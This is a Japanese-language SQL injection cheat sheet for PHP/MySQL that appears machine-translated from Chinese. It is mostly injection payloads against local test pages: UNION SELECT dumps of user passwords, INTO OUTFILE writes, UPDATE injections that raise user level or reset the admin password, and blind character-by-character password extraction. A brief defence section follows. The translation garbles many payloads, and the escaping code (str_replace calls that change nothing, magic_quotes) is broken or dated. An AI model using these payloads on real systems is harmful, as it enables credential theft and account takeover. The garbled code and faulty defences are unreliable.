SQL インジェクションの焦点は、SQL
ステートメントを柔軟に使用することによってのみ、素晴らしいインジェクション文字列を構築できるようになります。勉強した後はメモを書き、いつでも使えるようにしています。以下の内容を読んで、まず SQL の基本原理を理解していただければ幸いです。メモ内のコードはインターネットから取得したものです。
===基本部分===
このテーブルのクエリ:
http://127.0.0.1/injection/user.php?username=angel' および LENGTH(password)='6
http://127.0.0.1 /injection/user.php?username=angel' and LEFT(password,1)='m
Union Union ステートメント:
http://127.0.0.1/injection/show.php?id=1' Union select 1,username 、user/* からのパスワード
http://127.0.0.1/injection/show.php?id=' Union select 1,username,password from user/*
エクスポート ファイル:
http://127.0.0.1/injection/ user .php?username=angel' を出力ファイル 'c:/file.txt
http://127.0.0.1/injection/user.php?username=' または 1=1 を出力ファイル 'c:/file.txt
http : //127.0.0.1/injection/show.php?id=' Union select 1,username,password from user into outfile 'c:/user.txt
INSERT ステートメント:
INSERT INTO `user` (ユーザー ID、ユーザー名、パスワード、ホームページ、ユーザーレベル) VALUES ('', '$username', '$password', '$homepage', '1');
ホームページの値を次のように構築します: http://4ngel.net', '3') #
SQL ステートメントは次のようになります: INSERT INTO `user` (ユーザー ID、ユーザー名、パスワード、ホームページ、ユーザーレベル) VALUES ('', 'angel', 'mypass', 'http://4ngel.net', '3') #' , '1');
UPDATE ステートメント: これが気に入っています
まずこの SQL を理解してください
UPDATE ユーザー SET パスワード = 'MD5($password)'、ホームページ = '$homepage' WHERE
この SQL が次のフォームで、インジェクションが実現されます
1: ホームページの値を
http://4ngel.net', userlevel='3 に変更します
その後、SQL ステートメントは
UPDATE user SET password='mypass',homepage='http になります: // 4ngel.net', userlevel='3' WHERE
userlevel はユーザー レベルです
2: パスワードの値を
mypass)' WHERE username='admin'# に変更します
その後、SQL ステートメントは
UPDATE user SET password= になります'MD5(mypass )' WHERE username='admin'#)',homepage='$homepage' WHERE
3: ID 値を
' OR username='admin' に変更します
その後、SQL ステートメントは
UPDATE user SET password になります='MD5($ パスワード)'、ホームページ='$homepage' WHERE OR username='admin'
===高度な部分===
よく使用される MySQL 組み込み関数
DATABASE()
USER()
SYSTEM_USER( )
SESSION_USER()
CURRENT_USER ()
database()
version()
SUBSTRING()
MID()
char()
load_file()
……
関数アプリケーション
UPDATE記事 SET title=DATABASE() WHERE id =1
http:// 127.0.0.1/injection/show.php?id=-1 Union select 1,database(),version()
SELECT * FROM user WHERE username=char(97,110,103,101,108)
# char(97,110,103,101,108)エンジェル、10 進数に相当します
http://127.0.0.1/injection/user.php?userid=1 およびpassword=char(109,121,112,97,115,115)http://127.0.0.1/injection/user.php?userid=1およびLEFT(password,1)> ;char(100)
http://127.0.0.1/injection/user.php?userid=1 and ord(mid(password,3,1))>111
数値を決定し、データ構造内のフィールドのタイプ
http://127.0.0.1/injection/show.php?id=-1 Union select 1,1,1
http://127.0.0.1/injection/show.php?id= -1 Union select char(97), char(97),char(97)
データテーブル名を推測してください
http://127.0.0.1/injection/show.php?id=-1 Union select 1,1,1メンバーから
ユーザー名とパスワードを取得するためのクロステーブルクエリ
http://127.0.0.1/ymdown/show.php?id=10000 Union select 1,username,1,password,1,1,1,1,1 ,1,1,1,1,1,1, 1,1,1,1 from ymdown_user where id=1
その他
#最初のパスワードを確認してください
http://127.0.0.1/ymdown/show.php?id =10 Union select 1,1,1,1, 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord( Mid(password,1,1))=49
===インジェクション防止===
サーバー アスペクト
magic_quotes_gpc がオンに設定されます
display_errors がオフに設定されます
エンコーディング アスペクト
$keywords =addslashes($keywords)
$キーワード = str_replace("_","_",$keywords ; インジェクト
if (get_magic_quotes_gpc()) {
//....
}else{
$str = mysql_real_escape_string($str);
$keywords = str_replace ("_","_",$keywords);
$ キーワード = str_replace("%","%",$keywords);
便利な関数
stripslashes()
get_magic_quotes_gpc()
mysql_real_escape_string()
strip_tags ()
array_map()
addslashes()
参考記事:
http://www.4ngel.net/article/36.htm (MySQLによるSQLインジェクション)中国語
http://www.phpe.net/mysql_manual/ 06-4.html (MYSQL ステートメントリファレンス)
以上、SQL インジェクションの内容を含め、PHP の SQL インジェクション実装テストコードを紹介しましたが、PHP チュートリアルに興味のある方の参考になれば幸いです。